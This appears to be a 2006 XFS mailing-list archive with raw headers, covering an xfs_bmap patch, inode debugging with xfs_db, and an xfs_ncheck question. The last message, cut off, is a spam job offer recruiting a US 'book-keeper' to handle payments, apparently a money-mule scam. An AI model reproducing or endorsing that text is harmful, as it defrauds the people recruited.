2006 > core.mtime.nsec = 080196250 > core.ctime.sec = Thu Oct 5 01:17:40 2006 > core.ctime.nsec = 976565958 > core.size = 32071862 > core.nblocks = 7833 > core.extsize = 0 > core.nextents = 28 > core.naextents = 0 > core.forkoff = 0 > core.aformat = 2 (extents) > core.dmevmask = 0 > core.dmstate = 0 > core.newrtbm = 0 > core.prealloc = 0 > core.realtime = 0 > core.immutable = 0 > core.append = 0 > core.sync = 0 > core.noatime = 0 > core.nodump = 0 > core.rtinherit = 0 > core.projinherit = 0 > core.nosymlinks = 0 > core.extsz = 0 > core.extszinherit = 0 > core.gen = 0 > next_unlinked = null > u.bmbt.level = 1 > u.bmbt.numrecs = 1 > u.bmbt.keys[1] = [startoff] 1:[0] > u.bmbt.ptrs[1] = 1:185933 > And now: xfs_db -r /dev/hadb1 -c "fsb 185933" -c "type bmapbtd" -c "p" to look at the 28 extent records. --Tim From owner-xfs@oss.sgi.com Thu Oct 19 21:19:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 21:19:25 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9K4JGaG001666 for ; Thu, 19 Oct 2006 21:19:17 -0700 X-ASG-Debug-ID: 1161317912-13233-752-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo201.gate.nec.co.jp (TYO201.gate.nec.co.jp [202.32.8.193]) by cuda.sgi.com (Spam Firewall) with ESMTP id 93734D198E12 for ; Thu, 19 Oct 2006 21:18:33 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.162] (may be forged)) by tyo201.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9K4ITG6004035 for ; Fri, 20 Oct 2006 13:18:29 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9K4IT920446 for xfs@oss.sgi.com; Fri, 20 Oct 2006 13:18:29 +0900 (JST) Received: from secsv3.tnes.nec.co.jp (tnesvc2.tnes.nec.co.jp [10.1.101.15]) by mailsv5.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k9K4ITo19300 for ; Fri, 20 Oct 2006 13:18:29 +0900 (JST) Received: from tnesvc2.tnes.nec.co.jp ([10.1.101.15]) by secsv3.tnes.nec.co.jp (ExpressMail 5.10) with SMTP id 20061020.132253.96801856 for ; Fri, 20 Oct 2006 13:22:54 +0900 Received: FROM tnessv1.tnes.nec.co.jp BY tnesvc2.tnes.nec.co.jp ; Fri Oct 20 13:22:53 2006 +0900 Received: from rifu.bsd.tnes.nec.co.jp (rifu.bsd.tnes.nec.co.jp [10.1.104.1]) by tnessv1.tnes.nec.co.jp (Postfix) with ESMTP id DFF96AE4B0 for ; Fri, 20 Oct 2006 13:18:27 +0900 (JST) Received: from TNESG9305.tnes.nec.co.jp (TNESG9305.bsd.tnes.nec.co.jp [10.1.104.199]) by rifu.bsd.tnes.nec.co.jp (8.12.11/3.7W/BSD-TNES-MX01) with SMTP id k9K4IRaC009766 for ; Fri, 20 Oct 2006 13:18:27 +0900 Message-Id: <200610200418.AA04613@TNESG9305.tnes.nec.co.jp> Date: Fri, 20 Oct 2006 13:18:24 +0900 To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] xfs_bmap -n fix Subject: [PATCH] xfs_bmap -n fix From: Utako Kusaka MIME-Version: 1.0 X-Mailer: AL-Mail32 Version 1.13 Content-Type: text/plain; charset=iso-2022-jp X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23654 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9369 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: utako@tnes.nec.co.jp Precedence: bulk X-list: xfs Status: O Hi, This patch fixes the issue that "xfs_bmap -n [nnn]" doesn't work correctly. Example$B!'(B # xfs_io -c "bmap -n 3" test/file2 test/file2: 0: [0..4849151]: 41943136..46792287 1: [4849152..51641343]: 46792768..93584959 2: [51641344..68418047]: 93585472..110362175 # xfs_bmap -n 3 test/file2 test/file2: 0: [0..4849151]: 41943136..46792287 1: [4849152..51641343]: 46792768..93584959 2: [51641344..98433535]: 93585472..140377663 3: [98433536..131987455]: 140378176..173932095 4: [131987456..145225727]: 173932104..187170375 5: [145225728..192017919]: 187170880..233963071 6: [192017920..209715199]: 233963584..251660863 Signed-off-by: Utako Kusaka --- --- xfsprogs-2.8.11-orgn/io/xfs_bmap.sh 2006-06-26 14:01:15.000000000 +0900 +++ xfsprogs-2.8.11/io/xfs_bmap.sh 2006-10-20 12:22:19.771009697 +0900 @@ -14,7 +14,7 @@ do a) OPTS=$OPTS" -a";; d) OPTS=$OPTS" -d";; l) OPTS=$OPTS" -l";; - n) OPTS=$OPTS" '-n "$OPTARG"'";; + n) OPTS=$OPTS" -n "$OPTARG"";; p) OPTS=$OPTS" -p";; v) OPTS=$OPTS" -v";; V) VERSION=true;; From owner-xfs@oss.sgi.com Thu Oct 19 21:26:32 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 21:26:39 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9K4QVaG003063 for ; Thu, 19 Oct 2006 21:26:32 -0700 X-ASG-Debug-ID: 1161318346-22241-44-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo201.gate.nec.co.jp (TYO201.gate.nec.co.jp [202.32.8.193]) by cuda.sgi.com (Spam Firewall) with ESMTP id D68CBD196C47; Thu, 19 Oct 2006 21:25:46 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.162] (may be forged)) by tyo201.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9K4PiU1011291; Fri, 20 Oct 2006 13:25:44 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9K4Pir04463; Fri, 20 Oct 2006 13:25:44 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv5.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k9K4Pho27756; Fri, 20 Oct 2006 13:25:43 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id 9C1B3E48248; Fri, 20 Oct 2006 13:25:43 +0900 (JST) Message-ID: <45384FC6.5040000@ah.jp.nec.com> Date: Fri, 20 Oct 2006 13:25:42 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> <20061018023325.GL8394166@melbourne.sgi.com> <20061018090701.GU11034@melbourne.sgi.com> <4536E186.5040301@ah.jp.nec.com> <20061019045851.GZ11034@melbourne.sgi.com> In-Reply-To: <20061019045851.GZ11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23654 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9370 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O Hi, David Chinner wrote: > I don't think so - in the lookup code where we find an existing > inode, we don't destroy the inode if XFS_IRECLAIMABLE is set. > Instead we do a log force and repeat the lookup. We only destroy > the inode in xfs_iget_core() if we raced with another thread > reading the inode in off disk after the cache lookup has > failed. In this case, we free the inode we read off disk which, > by definition, cannot be dirty or pinned at this point so we > don't need to wait for anything to be unpinned. > > In the case of reclaim, when we flush a dirty inode we already > do a xfs_iunpin_wait() (xfs_finish_reclaim()->xfs_iflush()->wait) > so we should never get to the point of xfs_idestroy with an inode > that is still pinned. > > Hence I don't think this is patch is necessary. Did I miss something > that I shouldn't have, Takenori? Sorry, you are right. I forgot xfs_iget_core() was modified that it don't reuse xfs_inode while i_pincount > 0. > > FYI, the three patches have survived my testing for almost a day now, > so if they pass your testing I think we have a viable fix. I'll > sned out a set of updated patches later this afternoon. Your patches have been working well for 20 hours. I intend to continue testing your patches until next Monday, and I'll report the result. Best Regards, -- Takenori Nagano From owner-xfs@oss.sgi.com Fri Oct 20 01:01:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 01:02:08 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9K81uaG028143 for ; Fri, 20 Oct 2006 01:01:57 -0700 X-ASG-Debug-ID: 1161327515-1809-305-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.interline.it (mail.interline.it [195.182.241.4]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4B66AD1998BE for ; Thu, 19 Oct 2006 23:58:36 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mail.interline.it (Postfix) with ESMTP id 77F4B69C for ; Fri, 20 Oct 2006 08:58:13 +0200 (CEST) Received: from mail.interline.it ([127.0.0.1]) by localhost (pin [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 20822-16 for ; Fri, 20 Oct 2006 08:58:06 +0200 (CEST) Received: from [192.168.1.98] (unknown [88.36.237.170]) by mail.interline.it (Postfix) with ESMTP id AB65A63E for ; Fri, 20 Oct 2006 08:58:06 +0200 (CEST) From: "Daniele P." Organization: Interline To: xfs@oss.sgi.com X-ASG-Orig-Subj: xfs_ncheck gives outdated and partial result Subject: xfs_ncheck gives outdated and partial result Date: Fri, 20 Oct 2006 08:58:08 +0200 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610200858.08718.daniele@interline.it> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23663 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9371 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: daniele@interline.it Precedence: bulk X-list: xfs Status: O Hi All, I'm here to ask a couple of question regarding xfs_ncheck. I'm using xfs_db version 2.6.20 The first question is: Is it right that I have to unmount/mount the filesystem before using it (1), or to get the partial right (3) answer? And why it's print only the first file name for inodes pointed by multiple files (2)? (1) # mkfs.xfs /dev/hda5 meta-data=/dev/hda5 isize=256 agcount=16, agsize=152617 blks = sectsz=512 data = bsize=4096 blocks=2441872, imaxpct=25 = sunit=0 swidth=0 blks, unwritten=1 naming =version 2 bsize=4096 log =internal log bsize=4096 blocks=2560, version=1 = sectsz=512 sunit=0 blks realtime =none extsz=65536 blocks=0, rtextents=0 # mount /dev/hda5 /mnt/hda5/ # touch /mnt/hda5/a # xfs_ncheck -i 131 /dev/hda5 ERROR: The filesystem has valuable metadata changes in a log which needs to be replayed. Mount the filesystem to replay the log, and unmount it before re-running xfs_ncheck. If you are unable to mount the filesystem, then use the xfs_repair -L option to destroy the log and attempt a repair. Note that destroying the log may cause corruption -- please attempt a mount of the filesystem before doing this. must run blockget -n first (2) # ln /mnt/hda5/a /mnt/hda5/b # ls -i /mnt/hda5/ 131 a 131 b # umount /mnt/hda5 # mount /dev/hda5 /mnt/hda5 # xfs_ncheck -i 131 /dev/hda5 131 a (3) # ln /mnt/hda5/a /mnt/hda5/c # xfs_ncheck -i 131 /dev/hda5 131 a # rm /mnt/hda5/a # xfs_ncheck -i 131 /dev/hda5 131 a # umount /mnt/hda5 # mount /dev/hda5 /mnt/hda5 # xfs_ncheck -i 131 /dev/hda5 131 b Thanks in advance, Daniele P. From owner-xfs@oss.sgi.com Fri Oct 20 03:34:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 03:35:03 -0700 (PDT) Received: from imr2.americas.sgi.com (imr2.americas.sgi.com [198.149.16.18]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KAYpaG007499 for ; Fri, 20 Oct 2006 03:34:52 -0700 Received: from [134.15.160.31] (vpn-emea-sw-emea-160-31.emea.sgi.com [134.15.160.31]) by imr2.americas.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id k9KAP3Du61764309; Fri, 20 Oct 2006 03:25:06 -0700 (PDT) Message-ID: <4538A66F.8060300@sgi.com> Date: Fri, 20 Oct 2006 11:35:27 +0100 From: Lachlan McIlroy Reply-To: lachlan@sgi.com Organization: SGI User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Utako Kusaka CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_bmap -n fix References: <200610200418.AA04613@TNESG9305.tnes.nec.co.jp> In-Reply-To: <200610200418.AA04613@TNESG9305.tnes.nec.co.jp> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-archive-position: 9372 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lachlan@sgi.com Precedence: bulk X-list: xfs Status: O Hi Utako, That's definitely a bug, thanks for the fix. Lachlan Utako Kusaka wrote: > Hi, > > This patch fixes the issue that > "xfs_bmap -n [nnn]" doesn't work correctly. > > Example$B!'(B > # xfs_io -c "bmap -n 3" test/file2 > test/file2: > 0: [0..4849151]: 41943136..46792287 > 1: [4849152..51641343]: 46792768..93584959 > 2: [51641344..68418047]: 93585472..110362175 > # xfs_bmap -n 3 test/file2 > test/file2: > 0: [0..4849151]: 41943136..46792287 > 1: [4849152..51641343]: 46792768..93584959 > 2: [51641344..98433535]: 93585472..140377663 > 3: [98433536..131987455]: 140378176..173932095 > 4: [131987456..145225727]: 173932104..187170375 > 5: [145225728..192017919]: 187170880..233963071 > 6: [192017920..209715199]: 233963584..251660863 > > Signed-off-by: Utako Kusaka > --- > > --- xfsprogs-2.8.11-orgn/io/xfs_bmap.sh 2006-06-26 14:01:15.000000000 +0900 > +++ xfsprogs-2.8.11/io/xfs_bmap.sh 2006-10-20 12:22:19.771009697 +0900 > @@ -14,7 +14,7 @@ do > a) OPTS=$OPTS" -a";; > d) OPTS=$OPTS" -d";; > l) OPTS=$OPTS" -l";; > - n) OPTS=$OPTS" '-n "$OPTARG"'";; > + n) OPTS=$OPTS" -n "$OPTARG"";; > p) OPTS=$OPTS" -p";; > v) OPTS=$OPTS" -v";; > V) VERSION=true;; > > From owner-xfs@oss.sgi.com Fri Oct 20 04:34:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 04:34:46 -0700 (PDT) Received: from omx1.americas.sgi.com (omx1.americas.sgi.com [198.149.16.13]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KBYYaG017845 for ; Fri, 20 Oct 2006 04:34:34 -0700 Received: from internal-mail-relay1.corp.sgi.com (internal-mail-relay1.corp.sgi.com [198.149.32.52]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with ESMTP id k9KBXpnx011192 for ; Fri, 20 Oct 2006 06:33:51 -0500 Received: from [134.15.160.27] (vpn-emea-sw-emea-160-27.emea.sgi.com [134.15.160.27]) by internal-mail-relay1.corp.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id k9KBXm8s50463441; Fri, 20 Oct 2006 04:33:49 -0700 (PDT) Message-ID: <4538B477.1090907@sgi.com> Date: Fri, 20 Oct 2006 12:35:19 +0100 From: Lachlan McIlroy Reply-To: lachlan@sgi.com Organization: SGI User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Daniele P." CC: xfs@oss.sgi.com, xfs-dev Subject: Re: xfs_ncheck gives outdated and partial result References: <200610200858.08718.daniele@interline.it> In-Reply-To: <200610200858.08718.daniele@interline.it> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9373 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lachlan@sgi.com Precedence: bulk X-list: xfs Status: O Hi Daniele, Daniele P. wrote: > Hi All, > I'm here to ask a couple of question regarding xfs_ncheck. > I'm using xfs_db version 2.6.20 > > The first question is: > Is it right that I have to unmount/mount the filesystem before > using it (1), or to get the partial right (3) answer? > And why it's print only the first file name for inodes pointed > by multiple files (2)? > > > (1) > # mkfs.xfs /dev/hda5 > meta-data=/dev/hda5 isize=256 agcount=16, agsize=152617 blks > = sectsz=512 > data = bsize=4096 blocks=2441872, imaxpct=25 > = sunit=0 swidth=0 blks, unwritten=1 > naming =version 2 bsize=4096 > log =internal log bsize=4096 blocks=2560, version=1 > = sectsz=512 sunit=0 blks > realtime =none extsz=65536 blocks=0, rtextents=0 > # mount /dev/hda5 /mnt/hda5/ > # touch /mnt/hda5/a > # xfs_ncheck -i 131 /dev/hda5 > ERROR: The filesystem has valuable metadata changes in a log which needs to > be replayed. Mount the filesystem to replay the log, and unmount it before > re-running xfs_ncheck. If you are unable to mount the filesystem, then use > the xfs_repair -L option to destroy the log and attempt a repair. > Note that destroying the log may cause corruption -- please attempt a mount > of the filesystem before doing this. > must run blockget -n first While it is possible to run xfs_ncheck on a mounted filesystem the results may be inaccurate and misleading. I believe xfs_ncheck accesses the filesystem directly without interpreting the log so if there are outstanding changes in the log then the filesystem may appear inconsistent. Unmounting the filesystem ensures that no changes will occur while xfs_ncheck is running and is the only way to be sure that it will provide an accurate report. If the filesystem is unmounted but there are still outstanding entries in the log then mount and unmount the filesystem again to replay the log. > > (2) > # ln /mnt/hda5/a /mnt/hda5/b > # ls -i /mnt/hda5/ > 131 a 131 b > # umount /mnt/hda5 > # mount /dev/hda5 /mnt/hda5 > # xfs_ncheck -i 131 /dev/hda5 > 131 a This could just be a convenience feature to provide the first known path to the inode. Does anyone have a better answer? > > (3) > # ln /mnt/hda5/a /mnt/hda5/c > # xfs_ncheck -i 131 /dev/hda5 > 131 a > # rm /mnt/hda5/a > # xfs_ncheck -i 131 /dev/hda5 > 131 a The log entry for the delete has not been replayed into the filesystem yet so xfs_ncheck still sees stale data. > # umount /mnt/hda5 > # mount /dev/hda5 /mnt/hda5 > # xfs_ncheck -i 131 /dev/hda5 > 131 b Remounting the filesystem forces the log to be replayed into the filesystem and now xfs_ncheck has a consistent view. > > Thanks in advance, > Daniele P. > > From owner-xfs@oss.sgi.com Fri Oct 20 05:44:25 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 05:44:31 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KCiNaG024356 for ; Fri, 20 Oct 2006 05:44:25 -0700 X-ASG-Debug-ID: 1161348218-3786-646-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by cuda.sgi.com (Spam Firewall) with SMTP id 06E824B7A2A for ; Fri, 20 Oct 2006 05:43:38 -0700 (PDT) Received: (qmail invoked by alias); 20 Oct 2006 12:43:33 -0000 Received: from port-212-202-77-183.dynamic.qsc.de (EHLO clx) [212.202.77.183] by mail.gmx.net (mp033) with SMTP; 20 Oct 2006 14:43:33 +0200 X-Authenticated: #20522298 From: peyytmek@gmx.de To: Timothy Shimmin X-ASG-Orig-Subj: Re: Fwd: Re: xfs mounting problem, hdb1 just freezes Subject: Re: Fwd: Re: xfs mounting problem, hdb1 just freezes Date: Fri, 20 Oct 2006 14:40:52 +0000 User-Agent: KMail/1.9.1 References: <200610191436.13773.peyytmek@gmx.de> <93BCAC8A8F8B13AB0095C1B8@timothy-shimmins-power-mac-g5.local> In-Reply-To: <93BCAC8A8F8B13AB0095C1B8@timothy-shimmins-power-mac-g5.local> Cc: xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Message-Id: <200610201440.52934.peyytmek@gmx.de> X-Y-GMX-Trusted: 0 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23680 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k9KCiPaG024359 X-archive-position: 9374 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: peyytmek@gmx.de Precedence: bulk X-list: xfs Status: O On Friday 20 October 2006 04:06, Timothy Shimmin wrote: > > Hello. > > Thanks for your answer. > > > > That's what i have: dmesg print with kernel-2.6.16-gentoo-r3 and an print > > of xfs_bg. > > > >> You could print out the offending inode with xfs_db to show us > >> what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". > > > > I don't know what you mean with it but i added it anyway. (done with > > kernel-2.6.18-gentoo if it matters) > > > > xfs_db: > > > > CLX ~ # xfs_db -r /dev/hdb1 -c "inode 950759" -c "print" > > core.magic = 0x494e > > core.mode = 0100644 > > core.version = 1 > > core.format = 3 (btree) > > core.nlinkv1 = 0 > > core.uid = 1000 > > core.gid = 100 > > core.flushiter = 0 > > core.atime.sec = Sun Aug 27 14:56:52 2006 > > core.atime.nsec = 657389250 > > core.mtime.sec = Sun Aug 27 16:29:40 2006 > > core.mtime.nsec = 080196250 > > core.ctime.sec = Thu Oct  5 01:17:40 2006 > > core.ctime.nsec = 976565958 > > core.size = 32071862 > > core.nblocks = 7833 > > core.extsize = 0 > > core.nextents = 28 > > core.naextents = 0 > > core.forkoff = 0 > > core.aformat = 2 (extents) > > core.dmevmask = 0 > > core.dmstate = 0 > > core.newrtbm = 0 > > core.prealloc = 0 > > core.realtime = 0 > > core.immutable = 0 > > core.append = 0 > > core.sync = 0 > > core.noatime = 0 > > core.nodump = 0 > > core.rtinherit = 0 > > core.projinherit = 0 > > core.nosymlinks = 0 > > core.extsz = 0 > > core.extszinherit = 0 > > core.gen = 0 > > next_unlinked = null > > u.bmbt.level = 1 > > u.bmbt.numrecs = 1 > > u.bmbt.keys[1] = [startoff] 1:[0] > > u.bmbt.ptrs[1] = 1:185933 > > And now: > > xfs_db -r /dev/hadb1 -c "fsb 185933" -c "type bmapbtd" -c "p" > > to look at the 28 extent records. > > --Tim Hello, thanks again for your fast answer Sorry for the double post last time. here it comes CLX ~ # xfs_db -r /dev/hdb1 -c "fsb 185933" -c "type bmapbtd" -c "p" magic = 0x424d4150 level = 0 numrecs = 27 leftsib = null rightsib = null recs[1-27] = [startoff,startblock,blockcount,extentflag] 1:[0,185637,16,0] 2: [16,185537,8,0] 3:[24,185718,8,0] 4:[32,185706,8,0] 5:[40,185836,8,0] 6: [48,185848,16,0] 7:[64,185865,16,0] 8:[80,185882,8,0] 9:[96,185899,16,0] 10: [112,185916,16,0] 11:[340,185934,2,0] 12:[342,4768704,1320,0] 13: [1662,4770389,239,0] 14:[1901,4770919,264,0] 15:[2165,4771391,165,0] 16: [2330,4771860,227,0] 17:[2557,4861204,351,0] 18:[2908,4861800,257,0] 19: [3165,4862282,349,0] 20:[3514,4862934,230,0] 21:[3744,4863506,383,0] 22: [4127,4864141,348,0] 23:[4475,4864871,228,0] 24:[4703,4865358,268,0] 25: [4971,4865882,593,0] 26:[5564,4866818,339,0] 27:[5903,4867729,1928,0] From owner-xfs@oss.sgi.com Fri Oct 20 06:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 06:41:12 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KDf1aG028155 for ; Fri, 20 Oct 2006 06:41:02 -0700 X-ASG-Debug-ID: 1161348091-21297-875-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hu-out-0506.google.com (hu-out-0506.google.com [72.14.214.236]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9F9F2D19BD80 for ; Fri, 20 Oct 2006 05:41:32 -0700 (PDT) Received: by hu-out-0506.google.com with SMTP id 22so258768hug for ; Fri, 20 Oct 2006 05:41:30 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type; b=V9pjUmmDggTymEIVkDGTMqPHD6CZ1zKoJ9jUGa4hbxlD4Xje3V6cQhDqcUNyjqDVOptzXIsjad+XYLWSwWg3b+2JzT7zC8XQobF8/lKOrpC2WNtYGHjyCTO51vI/l9HC59vk3FIp3Wv/p+x127gF+O1qydBSbZFH7AejbkcrH6I= Received: by 10.82.106.14 with SMTP id e14mr452206buc; Fri, 20 Oct 2006 05:41:24 -0700 (PDT) Received: by 10.82.128.7 with HTTP; Fri, 20 Oct 2006 05:41:24 -0700 (PDT) Message-ID: Date: Fri, 20 Oct 2006 05:41:24 -0700 From: "Marson Clark" To: christineduffy@dublin.com X-ASG-Orig-Subj: Appointments for the post of representatives/ book-keepers in the United States.. Subject: Appointments for the post of representatives/ book-keepers in the United States.. MIME-Version: 1.0 X-Barracuda-Spam-Score: 2.25 X-Barracuda-Spam-Status: No, SCORE=2.25 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_SOMETHING, HTML_00_10 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23678 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.61 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.64 HTML_00_10 BODY: Message is 0% to 10% HTML 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 5141 X-archive-position: 9375 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: marson.clark@gmail.com Precedence: bulk X-list: xfs Status: O M&D Fabrics and Textiles 3 LONG MARSH LANE WEST THAMESMEAD LONDON SE28 0LS ENGLAND +447024078975 marson.clark@gmail.com Dear Sir/Madam, Would u like to work online from home/temporarily and get paid weekly?We are glad to offer you a job position in our company,M&D Fabrics and Textiles.Weneed someone to work for the company as a representative/book keeper in the states. This is in view of our not having an office presently in the US.Youdont need to have an Office and this certainly wont disturb any form of work you have going at the moment.From the Site, you will find out the Company produces the following varities of clothing materials:- batiks,assorted fabrics for interior decor, silk and traditional costumes which we have clients we supply weekly in the states. Our integrated yarn and fabric manufacturing operations use state-of-the-art textile equipment from the world's leading suppliers. Order processing,production monitoring and process flow are seamlessly integrated through a company-wide computer network * The average monthly income is about $5000. * No form of investments from you. * This job takes only 1-3 hours per day ABOUT THE JOB: We have sales representatives all over the world to distribute our products.You know, that it's not easy to start a business in a new market (being the US). There are hundreds of competitors, close direct contacts between suppliers and customers and other difficulties, which impede our sales promotion.Wehave decided to deliver the products in upfront,it's very risky but it should push up sales on 25 percent. Thus we need to get payments for our products as soon as it possible because customers can just "forget" to pay. Unfortunately we are unable to open bank accounts in the United US without first registering the company name. Presently with the amount of Orders we have, we cannot put the on hold. For fear of loosing the customers outrightly. Secondly we cannot cash these payments from the US soon enough as international Cheques take about 14 working days for cash to be made available.We lose about $75,000 of net income each month because we have money transfer delays. YOUR TASK Your task is to coordinate payments from customers and help us with the payment process.You are not invloved in any sales. 